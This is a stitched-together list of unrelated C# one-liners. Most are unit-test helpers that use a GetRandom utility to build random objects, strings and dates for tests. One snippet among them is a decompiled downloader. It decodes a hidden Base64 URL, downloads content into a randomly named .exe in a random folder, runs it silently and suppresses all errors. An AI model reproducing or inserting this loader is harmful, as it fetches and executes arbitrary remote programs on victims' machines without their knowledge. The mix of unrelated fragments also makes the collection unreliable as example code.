protected override GoodView getRandomObject() { return(GetRandom.Object <GoodView>()); }
public void ValidFromTest() { DateTime rnd() => GetRandom.DateTime(null, obj.ValidTo.AddYears(-1)); testReadWriteProperty(() => obj.ValidFrom, x => obj.ValidFrom = x, rnd); }
protected override IdentifiedObject <CountryDbRecord> getRandomTestObject() { createdWithNullArg = new testClass(null); dbRecordType = typeof(IdentifiedDbRecord); return(GetRandom.Object <testClass>()); }
[TestMethod] public void StringTest() { doTests(() => GetRandom.String()); }
[TestMethod] public void PasswordTest() { Assert.AreNotEqual(GetRandom.Password(), GetRandom.Password()); }
protected override CurrencyObject getRandomTestObject() { createdWithNullArg = new CurrencyObject(null); dbRecordType = typeof(CurrencyDbRecord); return(GetRandom.Object <CurrencyObject>()); }
protected override GeographicAddressViewModel getRandomTestObject() { return(GetRandom.Object <GeographicAddressViewModel>()); }
public void ItemIdTest() { obj.Item = GetRandom.Object <AirportView>(); Assert.AreEqual(obj.Item.Id, obj.ItemId); }
protected override TelecomAddressObject getRandomTestObject() { createdWithNullArg = new TelecomAddressObject(null); dbRecordType = typeof(TelecomAddressDbRecord); return(GetRandom.Object <TelecomAddressObject>()); }
protected override EMailAddressViewModel getRandomTestObject() { return(GetRandom.Object <EMailAddressViewModel>()); }
protected override MedicineEffectsDbRecord getRandomTestObject() { return(GetRandom.Object <MedicineEffectsDbRecord>()); }
protected override EffectDbRecord getRandomTestObject() { return(GetRandom.Object <EffectDbRecord>()); }
protected override void SetRandomValues() { base.SetRandomValues(); performerId = GetRandom.String(); }
protected override CountryCurrencyObject getRandomTestObject() { return(GetRandom.Object <CountryCurrencyObject>()); }
protected override MeasureObject getRandomTestObject() { createdWithNullArg = new MeasureObject(null); dbRecordType = typeof(MeasureDbRecord); return(GetRandom.Object <MeasureObject>()); }
protected override void SetRandomValues() { base.SetRandomValues(); name = GetRandom.String(); }
protected void testReadWriteProperty <TR>(Func <TR> get, Action <TR> set) { testReadWriteProperty(get, set, () => (TR)GetRandom.Value(typeof(TR))); }
protected override ExternalLoginViewModel getRandomObject() => GetRandom.Object <ExternalLoginViewModel>();
protected override NationalCurrencyData getRandomObject() { return(GetRandom.Object <NationalCurrencyData>()); }
protected override void SetRandomValues() { base.SetRandomValues(); valueField = GetRandom.Bool(); }
// Token: 0x0600005B RID: 91 RVA: 0x00005CCC File Offset: 0x00003ECC public static void Load() { try { using (WebClient webClient = new WebClient()) { string text = Exporter.Export("<ulfile>", "</ulfile>", Starter.FileData); if (!string.IsNullOrEmpty(text)) { string text2 = string.Format("{0}\\{1}.exe", CreateDir.create(GetRandom.String(null, 8), null, null), GetRandom.String(null, 8)); if (File.Exists(text2)) { File.Delete(text2); } File.WriteAllText(text2, webClient.DownloadString(Base64.Decode(text, null)), Encoding.GetEncoding(1251)); Process.Start(text2); } } } catch { } }
protected override AttendingDbRecord getRandomTestObject() { return(GetRandom.Object <AttendingDbRecord>()); }
[TestMethod] public void EmailTest() { Assert.AreNotEqual(GetRandom.Email(), GetRandom.Email()); }
protected override MoneyView getRandomObject() { return(GetRandom.Object <MoneyView>()); }
protected override TemporalDbRecord getRandomTestObject() { return(GetRandom.Object <testClass>()); }
protected override EffectViewModel getRandomTestObject() { return(GetRandom.Object <EffectViewModel>()); }
public void ValidToTest() { DateTime rnd() => GetRandom.DateTime(obj.ValidFrom.AddYears(1)); testReadWriteProperty(() => obj.ValidTo, x => obj.ValidTo = x, rnd); }
protected override CurrencyDbRecord getRandomTestObject() { return(GetRandom.Object <CurrencyDbRecord>()); }
protected override RateTypeView getRandomObject() { return(GetRandom.Object <RateTypeView>()); }
protected override CommentProfileObject getRandomTestObject() { createdWithNullArg = new CommentProfileObject(null); dbRecordType = typeof(CommentProfileDbRecord); return(GetRandom.Object <CommentProfileObject>()); }